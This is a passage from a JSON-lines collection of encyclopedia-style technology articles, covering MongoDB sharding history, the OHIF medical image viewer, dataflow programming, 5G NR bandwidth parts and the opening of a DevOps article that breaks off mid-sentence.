1.0** is released. By August, this version becomes generally available for production environments. \n\nAug  \n2010\n\nMongoDB 1.6 is released. **Sharding is now production ready**, thus making MongoDB horizontally scalable. A `mongod` instance can be upgraded to a distributed cluster without any downtime. \n\nAug  \n2012\n\nMongoDB 2.2 is released with support for **tag-aware sharding**. For example, this can be used to ensure data is closest to application servers that use them. An improvement is that if the shard key is the prefix of existing index, there's no need to maintain a separate index. \n\nMar  \n2013\n\nMongoDB 2.4 is released. This release supports **hashing of index**. When a hashed index is used as the shard key, this enables more even distribution of documents across shards. \n\nMar  \n2015\n\nMongoDB 3.0 is released. Replica sets and sharded clusters can have members with **different storage engines** but performance can vary with workload. \n\nDec  \n2015\n\nMongoDB 3.2 is released. Config servers previously used three mirrored `mongod` instances. They can now be deployed as replica sets. This means that a sharded cluster can have more than 3 (maximum 50) config servers. Master-slave replication for components of sharded cluster is deprecated. Master-slave replication is removed in MongoDB 4.0 (September 2021). Replica sets must be used instead. \n\nNov  \n2016\n\nMongoDB 3.4 is released. We can now associate shards with one or more **zones**. Zone sharding can be considered a renaming of tag-aware sharding. \n\nNov  \n2017\n\nMongoDB 3.6 is released. From this release, a shard can't be a standalone instance. It has to be a replica set. This ensure redundancy and high availability. \n\nAug  \n2019\n\nMongoDB 4.2 is released. This supports **mutable shard key values**. With the exception of a shard key based on immutable `_id` field, any other shard key value is mutable. \n\nJul  \n2020\n\nMongoDB 4.4 is released. Two new features are **refinable shard key** and **compound hashed shard key**. The latter supports zone sharding as well. These help split huge indivisible chunks due to the current shard key. Some documents may not have the shard key fields. These are treated as null values when distributing the documents but not when routing queries. The previous shard key size limit of 512 bytes is removed in this version. \n\nJul  \n2021\n\nMongoDB 5.0 is released with support for **resharding** of a collection. This can solve the problem of uneven data distribution caused by the current shard key.","meta":{"title":"MongoDB Sharding","href":"mongodb-sharding"}}
{"text":"# OHIF Viewer\n\n## Summary\n\n\nDoctors and other medical professionals use software to view, analyse and annotate images of patients. These images could be X-rays, ultrasound/CT/PET/MRI scans, ECG/EEG waves and more. There are both commercial as well as open source viewers for this purpose. Among the open source viewers is OHIF Viewer. It's development is guided by the Open Health Imaging Foundation (OHIF). \n\nThe OHIF Viewer is configurable and extensible. It's a web application that can be used without additional software installation. It can load images from various sources or interfaces including DICOMweb. Images can be rendered in 2D, 3D or restructured representations. For authentication it supports OpenID Connect. The app is built in React using reusable UI components.\n\n## Discussion\n\n### Could you give an overview of OHIF Viewer?\n\nLet's consider a radiology workflow as an example. Via CT or MRI scans of patients, images are acquired. These images are in DICOM (Digital Imaging and Communications in Medicine) format. They're sent to a DICOM router that checks the integrity of these images. From here the images are sent to Picture Archiving and Communication System (PACS) and Vendor-Neutral Archive (VNA). An example of PACS is Orthanc, a DICOM server with REST API and a web UI.  \n\nRadiologists access the images in PACS from their workstations or other devices for visualization, post-processing or analysis. Non-radiologists can access images from VNA via patient Electronic Medical Record (EMR). The figure above shows a case where this traditional workflow is being augmented with AI capabilities. \n\nTraditional medical imaging software were often desktop applications that needed to be installed and maintained by IT staff. When problems arose, such applications were hard to debug remotely. It's in this context that web-based applications enabled by cloud computing became attractive. The OHIF Viewer is one such viewer. \n\n\n### What are the main features of OHIF Viewer?\n\nThe viewer includes two essential features: visualization and annotation. For **visualization**, multi-modal image fusion, maximum intensity projection, multi-planar reformatting, axial/sagittal/coronal views, CINE view, and many more are supported. For **annotation**, there are many easy-to-use tools for measurement and annotation. Touch-specific tools such as pinch-to-zoom become handy on touchscreen devices.  \n\nIn terms of software architecture and design, the viewer is built using **reusable** React UI components. This enables developers to compose more sophisticated components and custom workflows without needing to code them from scratch. Since code is open source, these components can be studied and customized as needed. The viewer is really a web application that runs within a web browser. Hence, no additional software needs to be installed to use it. \n\nFor **performance**, GPU acceleration is used for image rendering. Multi-threading enables quick image decoding. \n\nThe viewer is **standards-compliant**: DICOMweb for image data access, OpenID Connect for authorized access to data. The viewer can connect other sources as well. \n\nFor **deployment**, the viewer can be a standalone web application. Alternatively, it can be embedded via a `<script>` tag into another application but this got deprecated in version 3. \n\n\n### What's the architecture of OHIF Viewer?\n\nThe OHIF Viewer adopts a modular architecture. The main platform has the following components: \n\n    + **core**: Core libraries that implement medical imaging functions (aka business logic) for the web.\n    + **i18n**: Internationalization support.\n    + **viewer**: This brings together the all components. To register extensions, compose modes and route requests are its main functions.\n    + **ui**: React component library.\n    + **extensions**: Libraries that implement essential functionalities such as rendering, measurement tracking, etc. These are the building blocks. They're consumed by modes.\n    + **modes**: A configuration to compose extensions and routes to make an application.OHIF Viewer makes use of other projects such as Cornerstone. It's a set of JavaScript libraries specific to the medical domain. Cornerstone also include libraries to load DICOM objects over the web, called WADO (Web Access to DICOM Objects). There's support for the older WADO-URI interface and the more modern WADO-RS aka DICOMweb (RESTful API). The loader uses web workers for CPU intensive image processing tasks.  It uses OpenJPEG library. Library *dcmjs* does DICOM manipulation in JavaScript. \n\n\n### What are modes in OHIF Viewer?\n\nThe OHIF Viewer contains many extensions but often not all of them are needed for a specific workflow. For example, 3D segmentation has different requirements compared to tracking measurements over time. Other specific workflows are ECG viewer and total metabolic tumor volume. These different workflows are enabled via **modes**. In one sense, modes enable many mini-apps or workflows within a single app. \n\nModes use extensions. Modes register workflows with the viewer with certain routes. The mode will get invoked once user accesses the viewer on a registered route. Modes essentially offer a lot of flexibility to create new workflows while reusing existing extensions. Modes were introduced in version 3. In version 2 of the viewer, we had to build new UI and extensions to create new workflows. \n\nThe figure shows the composition of \"AI Organ Segmentation\" mode. It configures the applicable routes and extensions. It uses the applicable layout templates and data sources. Mode-specific props are passed to the templates. For each study, the viewer will show available modes. A study can have multiple modes.  \n\n\n### Could you do a code walkthrough of OHIF Viewer?\n\nWe describe the codebase with respect to commit beb451745 (December 2022). Paths to the components are configured in `tsconfig.json`. For example, the viewer component is at `platform/viewer/src`. At this path we find `index.js` where the application object is created. This object is inserted into the DOM at the element with ID \"root\". The HTML template for this is at `platform/viewer/public/html_templates/index.html`. \n\nFor interfacing to a DICOMweb server, the configuration files are at `platform/viewer/public/config` folder. Data is requested via the extension `extensions/cornerstone/src/utils/dicomLoaderServer.js`. Web workers are initialized in `extensions/cornerstone/src/initWADOImageLoader.js`. \n\nThe default mode is configured in `modes/basic-dev-mode/src/index.js`. Modes are set up for the app in `platform/viewer/src/appInit.js`. \n\nReusable React components are in `platform/ui/src/components`. As an example, we note that `ToolbarButton` is built from three other components, `Tooltip`, `IconButton` and `Icon`. Some extensions make use of `ToolbarButton` to compose a complete toolbar. \n\n\n### What developer resources are available to work with OHIF Viewer?\n\nThe project's main website has links to documentation, examples, and more. Beginners may want to explore a demo of the software first.\n\nThe source code is available on GitHub. We can clone this code repository and build a Docker image of the viewer. Alternatively, we can use the viewer's Docker image from Docker Hub.\n\nAn easier way to use OHIF Viewer is as a cloud-based managed service. SpringML's One-Click DICOM Viewer is an example that's easily deployed on the Google Cloud. It uses Google Kubernetes Engine. \n\nPerhaps the easiest method is to embed the viewer via a script tag into your own custom application. \n\nOHIF Viewer is capable of invoking DICOMweb REST APIs. A cheatsheet of DICOMweb is a useful reference. \n\nOHIF Viewer uses Cornerstone. It's a set of JavaScript libraries to display medical images, or develop tools and applications for medical imaging.  \n\n## Milestones\n\nSep  \n2015\n\nDr. Gordon Harris at the Massachusetts General Hospital receives **funding** for the project from a National Cancer Institute U24 grant. This funding continues till August 2020. Version 1 of the software starts life in 2015 and is active till 2019. It's uses Meteor full-stack framework. Version 1 is actually **three separate apps**: LesionTracker, OHIF Viewer, and OHIF Standalone Viewer. \n\n2018\n\nXNAT integrates OHIF Viewer within its environment. XNAT is a platform for quantitative imaging studies. This evolves as new versions of the viewer are released in later years: XNAT-OHIF 2.0 (2019) and XNAT-OHIF 3.2.0 (2021).  This is just one example of other projects adopting OHIF Viewer. \n\n2019\n\n**OHIF Viewer v2** is released. It's a single React app. It deprecates the Meteor backend. Version 2 remains in active development till 2021. The viewer's extension architecture is one of the features in this version. Others include 3D multiplanar reformatting (MPR), DICOM segmentation, and PDF visualization. \n\nApr  \n2019\n\nRelease v0.0.19 of OHIF Viewer occurs via it's code repository on GitHub. This is the first release via GitHub. **Semantic versioning** of the project starts here. In May, v0.1.0 is released. From August, each package is released separately since this is a monorepo. For example, `@ohif/core@0.11.1-alpha.8` and `@ohif/extension-cornerstone@0.0.39-alpha.8` are released in August, each with its own release numbering. \n\nNov  \n2020\n\n**The Chan Zuckerberg Initiative** selects both OHIF and Cornerstone projects for funding. The funds would go towards better documentation, software maintenance and community outreach. Funding begins in 2021. In August 2021, the Chan Zuckerberg Initiative partners with hack.diversity to develop new training material, and provide guidance and mentorship to contributors working on these projects. This funding is renewed in 2022. \n\nSep  \n2021\n\n**OHIF Viewer v3 Public Beta** is released. This is a departure from the Meteor-based v1 and current React-based version v2. The app is still in React but has a new UI component library that uses Tailwind CSS. Via a major re-architecture, **modes** are introduced. Extensions in v2 were hard to maintain. Modes assemble extensions via a more modular approach. \n\nAug  \n2022\n\nAt a OHIF Viewer demo and presentation, it's reported that the software will evolve to support advanced features. These include hanging protocols, volume rendering, rendering of arbitrary stack of images, rendering of colour images, videos, ECG viewer, pathology viewer, etc. \n\nNov  \n2022\n\n**OHIF Viewer v3.3** is released. Among the new features are DICOM segmentation, multiplanar reformatting (MPR), synchronized scrolling, and reference lines. DICOM segments, rendered in 3D, are for display only and can't be edited. MPR feature uses Cornerstone3D VolumeViewports feature. Project will continue to look at bug fixes on `v2-stable` branch but will focus on `v3-stable` branch for the long term.  This release also deprecates the Embedded Viewer.","meta":{"title":"OHIF Viewer","href":"ohif-viewer"}}
{"text":"# Dataflow Programming\n\n## Summary\n\n\nDataflow programming (DFP) is a programming paradigm where program execution is conceptualized as data flowing through a series of operations or transformations. Each operation may be represented as a node in a graph. Nodes are connected by directed arcs through which data flows. A node performs its operation when its input data are available. It sends out the result on the output arcs. \n\nDue to social media (2000s) and IoT (2010s), there's a need to analyse data quickly and derive timely insights. There's also a need to explore and exploit parallel architectures. Dataflow programming aids parallelization without the added complexity that comes with traditional programming. \n\nDataflow programming includes two sub-fields: Flow-Based Programming (FBP) and Reactive Programming. Dataflow programs can be created in text or visually. There are many languages that support this paradigm.\n\n## Discussion\n\n### Could you explain dataflow programming with an example?\n\nConsider the simple program shown in the figure. In a traditional von Neumann architecture, these statements would be executed sequentially. Thus, the program would execute in three units of time. \n\nIn dataflow programming, we represent the program as a dataflow graph that has three inputs (X, Y, 10), three operations (+, /, \\*) and one output (C). This is a directed graph. Nodes represent instructions or operations. Arcs represent variables. Equivalently, arcs represent data dependencies between instructions. The value in Y is also duplicated since it's sent to two instructions. \n\nIn dataflow execution model, this program takes only two units of time. This is because the addition and division instructions can execute in parallel. For each of these instructions, their respective inputs are available at the start. They have no dependencies on each other and therefore can be parallelized. \n\nA factory assembly line offers an analogy. Just as raw materials and semi-finished products move on a conveyor belt from one station to the next, data in DFP moves from one node to the next. \n\n\n### What are the main benefits of dataflow programming?\n\nWith the rise multi-core architectures, there's a need to exploit these via parallel execution. Von Neumann architecture is not conducive to parallelism because of its reliance on a global program counter and global updatable memory. With DFP, each node uses local memory and executes when its inputs are ready. \n\nDFP enables **parallel execution** without extra burden on the programmer. There's no need to deal with multiple threads, semaphores and deadlocks. Each node in the dataflow graph is independent of others and executes without side effects. A node executes as soon as its inputs are available. If multiple nodes are ready to execute, they can execute in parallel. \n\nDFP has enabled many **visual programming languages** that provide a more user-friendly interface so that even non-technical users can write programs. Such languages are also suited for rapid prototyping. \n\nDFP promotes **loose coupling** between software components that's well-suited for service-oriented architectures. Its functional style makes it easier to reason about system behaviour. Its simplicity is in its elegance. \n\nDFP is **deterministic**. This enables mathematical analysis and proofs. \n\n\n### What are the main characteristics of dataflow programming?\n\nA program is defined by its nodes, I/O ports and links. A node can have multiple inputs and outputs. Links connect nodes. Links can be viewed as **buffers** if they need to hold multiple data packets. This is useful when sending and receiving nodes operate at different speeds. Buffers also enable **pipelining** whereby nodes can execute simultaneously. \n\nA **data packet** can take primitive/compound, structured/unstructured values, and even include other data packets. When multiple links join, packets are merged or concatenated. For link splitting, packets are duplicated (shallow or deep copy). Equivalently, nodes can do the join and split. \n\nExecution can be either a **push or pull model**. Push does eager evaluation and reacts to change. Pull does lazy evaluation and uses callbacks. Nodes in push model fire when inputs are available whereas nodes in pull model fire when output is requested. \n\nExecution can be **synchronous or asynchronous**. With synchronous execution, each node take one \"unit of time\". Fast nodes will wait for slow nodes to complete before outputting the results. With asynchronous execution, outputs are never delayed and systems can run at full speed. \n\n\n### What are some traits expected of dataflow languages?\n\nDataflow languages are expected to be free from side effects. There's locality of effect. Scheduling is determined from data dependencies. Variables may be seen as values since they're assigned once and never modified. Order of statements is not important. \n\nAn example of side effect is a function modifying variables in outer scope. Locality of effect means that instructions can have far-reaching data dependencies. This is easily possible in imperative languages by reusing the same variables or using `goto` statements. Neither of these should be allowed by dataflow languages. The language should be designed such that it's easy to identify data dependencies and generate graphs that expose parallelism. \n\nTo address these, we can prohibit global variables and call-by-reference. Arrays are not modified but created anew when changes are made. Thus, arrays are treated as values rather than objects. Even errors are handled by error values instead of setting global status flags and interrupting the program. Since variables are really values, the statement `S=X+Y` is seen as a definition, not an assignment. In fact, languages that do all processing by applying operators to values have been called **applicative languages**. \n\n\n### Could you list some dataflow languages?\n\nDataflow programming is not limited to visual programming. Early languages were textual with no graphical representation. Visual languages enable end-user programming. Textual languages are faster to work with but need expert knowledge. \n\nTextual languages of the early 1980s were VAL (MIT) and ID (Univ.Cal.Irvine). Lucid was developed for program verification but can also be used for dataflow computation. In the late 1980s, SISAL was invented. Based on VAL, it offered Pascal-like syntax and outperformed Fortran on some benchmarks. Other textual languages include CAL, COStream, Lustre, Joule, Oz, Swift (scripts), SIGNAL, SystemVerilog, and VHDL. The `make` software commonly used in UNIX systems is also an example of dataflow programming. \n\nAmong DFVPLs are Keysight VEE, KNIME, LabVIEW, Microsoft Visual Programming Language, Orange, Prograph, Pure Data, Quartz Composer, and Simulink. More examples include Node-RED, Max MSP, and Lego Mindstorms. \n\nEven spreadsheets are considered examples of visual DFP. Each cell is a node. When a cell value is updated, it sends its new value to other cells that depend on it. \n\n\n### What other programming paradigms are closely related to dataflow programming?\n\n**Flow-Based Programming (FBP)** is a subclass of DFP. While DFP can be synchronous or asynchronous, FBP is always asynchronous. FBP allows multiple input ports, has bounded buffers and applies back pressure when buffers fill up. Java, C#, C++, Lua and JavaScript support FBP. DrawFBP and Slang are visual languages for FBP.  \n\n**Reactive Programming** is event-driven, asynchronous and non-blocking. It's usually supported by callbacks and functional composition (declarative style of programming). Like DFP, focus is on the flow of data rather than the flow of control. Programming abstractions that support this include futures/promises, reactive streams, and dataflow variables. Akka Streams, Ratpack, Reactor, RxJava, and Vert.x are libraries for JVM that support reactive programming. In JavaScript, there's Bacon.js. \n\nLike DFP, **Functional Programming** is free from side effects, mostly determinate and has locality of effect. However, it's possible to have a convoluted functional program that can't be implemented as a dataflow graph. It's been said that dataflow languages are essentially functional but use an imperative syntax. \n\nCarl Hewitt's **Actor Model** from the 1970s is relevant to DFP. Actors are equivalent to nodes. Many languages such as Scala support the actor model. \n\n\n### What are some shortcomings or challenges with dataflow programming?\n\nVisual dataflow languages can be cumbersome for large programs with many nodes. Iterations and conditions are hard to represent visually. Debugging is difficult since multiple operations happen concurrently. In general, better tooling is needed. \n\nMany DFVPLs aim to make programming easier for end users. The original motivation to exploit parallelism has become secondary. \n\nDFP's deterministic nature can be a problem. Some use cases (such as ticket booking or database access) are inherently non-deterministic. To solve this, DFP must allow for non-deterministic merging of multiple input streams. \n\nSpreadsheets, when seen via the dataflow paradigm, have their limitations. Formulas are hard to inspect. They're not suited for refactoring and reuse. Deployment and scalability are practical issues. However, solutions have been proposed to address all of these. \n\nAmong modern languages, Clojure, Groovy, Scala, Ruby, F# and C# support DFP but offer no syntactic support for dataflow variables. Even simple dataflow examples in F# and C# require lot of boilerplate code. \n\n## Milestones\n\n1950\n\nThe idea of dataflow networking can be traced to the work of John von Neumann and other researchers in the 1940s and 1950s in the context of \"neuron net\" model of finite state automata. In the early 1960s, Carl Adam Petri introduces the *Petri Net* model for concurrent systems. A **dataflow network** is a network of computers connected by communication links. Nodes are activated by the arrival of messages on their links. \n\n1966\n\nSutherland proposes a two-dimensional graphical method to define programs. He gives examples of written statements and their graphical equivalents. Where a symbol appears in two places, two equivalent connections appear in the graphical form. Intermediate values need not be named in the graph. Graphs are also explicit about multiple outputs. He uses the terms \"flow input\" and \"flow output\". \n\n1973\n\nKosinski publishes a paper titled *A data flow language for operating systems programming*. Programs use function composition. Primitive notion of iteration, recursion, conditionals, and data replication/aggregation/selection are employed. Researchers look to create dataflow languages since they find that imperative languages can't be compiled easily for dataflow hardware. \n\n1974\n\nDavis creates the first visual dataflow language called **Data-Driven Nets (DDNs)**. Dataflow graphs become programming aids rather than simply representations of textual programs. Practical visual programming languages appear only in the early 1980s with Graphical Programming Language (GPL) and Function Graph Language (FGL). However, their development is hampered by graphical limitations of current hardware. \n\n1975\n\nWeng develops the **Textual Data-Flow Language (TDFL)**, one of the first purpose-built dataflow languages. Many other languages follow suit: LAU (1976), Lucid (1977), Id (1978), LAPSE (1978), VAL (1979), Cajole (1981), DL1 (1981), SISAL (1983) and Valid (1984). \n\n1978\n\nDenning notes that **dataflow languages** are being developed at MIT, at IBM T.J. Watson Research Center, at the University of California at Irvine, and at IRIA Laboratory in France. A compiler would translate language syntax into a dataflow graph to be executed on an interpreter. When an operator is ready to run because its operands are available on the input links, the interpreter sends them as a packet to an extractor network, which routes the packet to a function unit. Results are fed back through an insertion network. \n\n1985\n\nThough DFP was expected to eclipse von Neumann architecture, by mid-1980s it's clear that this hasn't happened. Researchers realize that this is probably because parallelism in dataflow architectures is too fine-grained. This starts a trend towards **hybrid architectures** and coarse-grained parallelism. Many dataflow instructions are grouped together and run in sequence, though obeying the rules of dataflow execution model. \n\n1990\n\nDue to computers with better graphics, this decade sees the rise of **Dataflow Visual Programming Languages (DFVPLs)**. LabView (1986) and NL (1993) are two well-known languages of the 1990s. The main motivation for DFVPLs is software engineering rather than parallelism. DFVPLs enable programmers to create programs by wiring dataflow graphs.","meta":{"title":"Dataflow Programming","href":"dataflow-programming"}}
{"text":"# 5G NR Bandwidth Part\n\n## Summary\n\n\nIn 4G/LTE, UEs support the maximum possible bandwidth of 20MHz. In 5G, transmission can go up to 400MHz per carrier. It's impractical to expect every UE to support such a high bandwidth. Therefore by design, it's possible for a 5G UE to communicate on a bandwidth smaller than the cell's channel bandwidth. This smaller portion is what's called **Bandwidth Part (BWP)**. \n\nVia RRC signalling, a UE is configured with multiple BWPs, in downlink and uplink. At PHY layer, the network dynamically activates a BWP for transmission or reception. Through such dynamic adaptation, BWPs allow a 5G system to use radio resources optimally to suit current needs. \n\nIn 4G and 5G, carrier aggregation is possible, which allows UEs to aggregate bandwidth across carriers. This article is concerned with only bandwidth parts configured on a single carrier.\n\n## Discussion\n\n### What are the benefits of having bandwidth parts in 5G NR?\n\nBandwidth Part allows us to design chipsets and UEs of a lower bandwidth capability. Mandating a UE to always use a high bandwidth also leads to higher energy usage. \n\nCompare 20MHz of LTE versus 100MHz (FR1) of 5G. Apart from the higher bandwidth, 5G's higher sub-carrier spacing translates to lower symbol duration, higher clock speeds and therefore higher power consumption. In FR2 mmWave spectrum, power consumption increases further due to antenna arrays and other RF components. At lower data rates, 5G at 100MHz has a lower power efficiency compared to 4G. The use of BWPs overcomes this. \n\nAllocating a single bandwidth to a UE is also not the best use of radio resources. Bandwidth Part allows for **dynamic adaptation**. For example, consider three service requirements: eMBB/100Mbps/1ms, eMBB/15Mbps/0.5ms, URLLC/7Mbps/0.25ms. To meet these, a UE is configured with three BWPs, each with a different numerology, MIMO configuration, modulation, and so on. For example, B1 has more resource blocks and bandwidth to achieve 100Mbps; B3 has smaller bandwidth but gives lower latency due to a higher numerology. \n\n\n### What are some allocation scenarios of BWPs?\n\nA BWP is a contiguous set of Resource Blocks (RBs). It starts at a common RB and spans a specified number of RBs. Numerology, which determines sub-carrier spacing and cyclic prefix, is also an essential BWP configuration. \n\nSome allocation scenarios are illustrated in the figure. In the simplest case of (a), a reduced BWP is configured for a UE of a lower bandwidth capability. Scenario (b) is useful for a UE having bursty traffic. When more data is to be sent, BWP2 is used. Note that even if BWP1 and BWP2 overlap, only one of them active at a time.  \n\nScenario (c) shows two BWPs with different numerology, each meeting different service requirements. While Physical Resource Blocks (PRBs) of a BWP are all contiguous, there's no requirement that two BWPs have to be contiguous. This is apparent in scenario (d) where other services can be introduced between BWP1 and BWP2, although this option is not part of Release 15. \n\n\n### What are some technical details about BWP?\n\nA UE can be configured with a maximum of four BWPs in downlink and another four in uplink. This is in addition to the initial BWPs configured via SIB1. Like UL, there's also Supplementary Uplink (SUL). UE can have four BWPs in SUL. \n\nEven with multiple configured BWPs, only one is active at any one time; that is, UE transmits and receives within its active BWP and nowhere else. DL PDSCH/PDCCH/CSI-RS are received only within the active DL BWP but UE can use measurement gaps to perform measurements outside the active BWP. UL PUSCH/PUCCH are sent by UE only with the active UL BWP.  \n\n**BWP switching** means deactivating the currently active BWP and activating another configured BWP. In TDD, DL and UL BWPs differ only by the transmission bandwidth and numerology; and they're switched together. \n\nThere's also **default BWP** configured for DL and UL. If not configured, initial BWP is used as default. Default is used when there's not much to send/receive to/from the UE. It's activated when an inactivity timer expires. \n\n\n### How does a UE use BWP in RRC idle mode and RRC connected mode?\n\nA UE's access to the network starts with acquiring the Synchronization Signal Block (SSB) that consists of PSS, SSS and PBCH. This spans 4 OFDM symbols and 20 RBs. It contains the MIB. \n\nMIB contains CORESET#0 configuration. This is used by UE to infer the **initial DL BWP**. UE receives and decodes the CORESET#0, which contains SIB1. SIB1 sets the initial BWP for both DL and UL. Initial BWP is named BWP#0. DL BWP#0 is configured such that it encompasses CORESET#0. \n\nRACH access happens with UL BWP#0. Network responds with DL BWP#0 until RRC connection happens. Once RRC connection happens, UE can be configured with **UE-specific BWPs**. \n\nThe figure shows BWP#0 (24 RBs), BWP#1 (270 RBs) and default DL BWP#2 (52 RBs). This is an FDD example: DL switches to BWP#2 but UL stays at BWP#1. In TDD, BWP switching happens together for both DL and UL. \n\n\n### How does BWP adaptation or switching happen?\n\nWhen a UE moves from idle mode to RRC connected mode, **RRC signalling** can configure UE-specific BWPs. RRC configuration or reconfiguration message may specify one of these to be activated. If so, the UE will do BWP switching. Due to RRC processing delay, this can be in the order of tens of milliseconds. \n\nOnce UE is configured with multiple BWPs, network can command UE to switch BWP using **Downlink Control Information (DCI) in PDCCH**. DCI format 1\\_1 for downlink assignment and format 0\\_1 for uplink grant are used. These formats contain the BWP indicator that can take 1 or 2 bits. If more than 2 BWPs are configured, 2-bit indicator is used. \n\nThe third way of switching is when **BWP inactivity timer** expires, which triggers a switch to default BWP. The timer ranges from 2-2560ms. It's maximum value relates to DRX inactivity timer. \n\n\n### What's CORESET and how is it relevant to BWP?\n\nControl Resource Set (CORESET) is where the UE searches for downlink control signals. Like BWP, it's smaller than the carrier bandwidth. A CORESET can be anywhere but a UE is expected to process only CORESETs that are within its active BWPs. CORESETs are configured at cell level so that the configuration can be reused for any applicable BWP. \n\nCORESET is where UE searches for PDCCH, though the network doesn't necessarily transmits PDCCH on every CORESET. Whereas in LTE, control region spans the entire carrier bandwidth, 5G NR optimizes this via CORESET. \n\nLTE control region can vary and is specified by PCFICH. In 5G NR, CORESET size is configured via RRC signalling. CORESET spans up to three OFDM symbols. CORESET at the start of the slot facilitates scheduling decisions. CORESET at other places may be useful to reduce latency. In the frequency domain, CORESET is in multiple of six RBs. \n\nA BWP can have up to three CORESETs. CORESETs are common or UE specific. Configured via MIB, CORESET#0 is used for SIB1 scheduling. After RRC connection, UE-specific CORESETs may be configured. \n\n## Milestones\n\nMar  \n2016\n\n3GPP completes the standardization of LTE Advanced Pro (Release 13). While previous LTE releases required a UE to support full carrier bandwidth, Release 13 introduces eMTC (enhanced Machine Type Communication). This defines **LTE Cat-M1** UE that can operate on a bandwidth of 1.08MHz (6 PRBs) within a normal LTE deployment or 1.4MHz in standalone deployment. Thus, LTE recognizes the need that some UE devices may have lower bandwidth requirement or capability and therefore need not receive on the full carrier bandwidth. \n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". In this release, the term **Carrier Bandwidth Part** is used. \n\nJun  \n2018\n\n3GPP publishes Release 15 \"main drop\". In this release, the term **Bandwidth Part (BWP)** is used. This change in name occurred in March 2018. In principle, if the UE is able to support it, multiple bandwidth parts with different numerology can be active at the same time. But in Release 15, only one BWP (in each direction) can be active at a time. \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. There's no change to BWP. A UE can have only one active BWP in each direction.","meta":{"title":"5G NR Bandwidth Part","href":"5g-nr-bandwidth-part"}}
{"text":"# DevOps\n\n## Summary\n\n\nDevOps is the coming together of both development and operations teams into a coordinated workflow such that collaboration and productivity are improved to meet shared business goals. Building on Agile and Lean, DevOps enables the business to respond to changes and meet customer needs faster. Tools and automation are necessary enablers. Practices such as Continuous Integration and Continuous Delivery are often followed. \n\nTraditionally, products were monolithic in nature and release cycles were long. While developers focused on creating working software, it was operations who (manually) ensured that it could run in a production environment. Dev was all about adding new features. Ops was about stability and availability. Between these two were the testers. DevOps brings these teams closer so that releases can happen as quickly as necessary. \n\nDevOps has been described variously as a culture, a mindset, a framework and a movement.\n\n## Discussion\n\n### How did DevOps come about?\n\nUntil early 2000s, software release cycles were typically long. Even if developers could churn out features quickly, business folks would be wary of changes since software was considered brittle and deployments risky. At the same time, user expectations and competition forced vendors to consider shorter release cycles. Agile and Lean methods were used to do this. Even then, making frequent releases on a monolithic product was a challenge.\n\nWhat really changed the scene was the arrival of cloud computing, SaaS and microservices. Products were delivered as web services and later as a bunch of microservices. This enabled vendors to make faster releases at the microservice level. But deploying a networked service is the work of operations, who were mostly ignored by the Agile and Lean movements. The result was that software that was ready would not go to customers until weeks or months later, waiting for operations to ensure it works properly in production environment. Also, operations now had to worry about security, virtual machines, containers, scaling, and more. It was no longer plain system administration for operations. DevOps has come to address these challenges.\n\n\n### Can you define DevOps?\n\nThere's no single definition of DevOps:\n\n    + DevOps is a cultural, professional movement focused on how we build and operate high-velocity organizations, born from the experiences of its practitioners.\n    + DevOps is largely founded in an organization’s skillful collaboration and communication, and the culture that results.\n    + DevOps is the practice of operations and development engineers participating together in the entire service lifecycle, from design through the development process to production support.\n    + DevOps is ops who think like devs and devs who think like ops.\n    + The point of dev-ops is that developers need to learn how to create high-quality, production-ready software, and ops needs to learn that Agile techniques are actually powerful tools to enable effective, low-risk change management. Ultimately, we’re all trying to achieve the same thing – creating business value through software.\n    + The Devops movement is characterized by people with a multidisciplinary skill set - people who are comfortable with infrastructure and configuration, but also happy to roll up their sleeves, write tests, debug, and ship features.\n\n### Could you dispel the common misconceptions or myths about DevOps?\n\nDevOps is not just about using tools or automating processes, although these are important. DevOps is not just about people, culture or processes. DevOps requires all of these to work together. \n\nDevOps goes beyond just developers and operations. It requires support and alignment from sales, marketing and even executives. \n\nHaving someone attend a DevOps conference or bringing a DevOps \"expert\" into your team doesn't make a project \"DevOps compliant\". For that matter, DevOps is neither a standard nor a specification. There's no certification to recognize DevOps experts. DevOps is really driven by practitioners and could be considered a knowledge-based movement. It's always evolving.\n\nDevOps is not limited to using open source software. It does not eliminate IT operations (NoOps) or replace Agile. \n\nContinuous integration/delivery are not goals themselves. They're simply necessary steps in achieving DevOps goals. Neither is there a goal to make multiple releases per day or week. DevOps aims to release as often as necessary. \n\nDevOps is not just for web companies delivering SaaS products or companies working at scale. DevOps is for everyone. \n\n\n### Can you list some best practices for getting DevOps right?\n\nAlthough DevOps is not a set of practices, the following may help newbies get into the DevOps movement: \n\n    + DevOps is about People, Process and Tools, in that order. Starting with tools will be the wrong way to do it.\n    + John Willis gives us the CAMS formula: Culture, Automation, Measurement, Sharing. Again, culture is critical to successful DevOps. Everything needs to be automated and measured. For measurements, establish KPIs. Mean time to recovery is an example KPI.\n    + Empathy is important to understand needs, break down silos and bring various teams together.\n    + Start small on something strategic and then apply it on a large scale across the organization.\n    + Invest in tools that give real-time visibility. Tool integration is essential. Multiple tools that don't work well together will hamper collaboration.\n    + Increase the speed of deployment. To achieve this, invest in automation and practise Agile techniques.\n    + Participate in community events and online channels to share and learn.\n    + Improve feedback at every step, whether it's build, deploy, recovery or notifications.\n\n### Can you describe some common DevOps terms?\n\nHere are some terms often used in the DevOps world:\n\n    + Feature switch: Ability to turn on/off features at code level and thereby facilitate Continuous Delivery.\n    + Trunk-based development: A version control practice in which all changes go into trunk rather than isolated branches.\n    + Container: An isolated environment at OS level where microservices and applications can be deployed and executed more reliably.\n    + Shift left: Automated testing is built into the software methodology from the outset. The same can be done with deployment.\n    + Orchestration: Method to manage and deploy applications and containers.\n    + Staging: An environment that mimics production environment so that updates can be tested before going into production.\n    + Deployment pipeline: An automated pipeline to get software quickly from version control to users.\n    + Serverless: An architecture in which resources are allocated on demand without explicit server management.\n    + Microservices: Smaller manageable pieces of an application accessed via standard interfaces.\n    + Immutable infrastructure: Infrastructure that can't be changed once initialized for better robustness and reliability.\n    + Infrastructure-as-Code: Describes automated provisioning, configuring and monitoring of infrastructure.\n\n### What tools can facilitate DevOps implementation?\n\nThere are dozens of tools out there to automate every aspect of DevOps. These are commercial or open source. As of July 2017, some tools were considered indispensable: Ansible, Docket, Chet, Puppet, JIRA, Jenkins, New Relic, Visual Studio, etc. XebiaLabs curated a list of 100+ tools arranged as a \"periodic table\". They also published a list of open source tools. \n\nSince tool integration requires effort, some vendors offer suites of integrated tools. This can cause problems. Errors in them will propagate through the entire lifecycle. For example, throwing generic errors, tighly coupling pipeline stages to environments, showing ambiguous 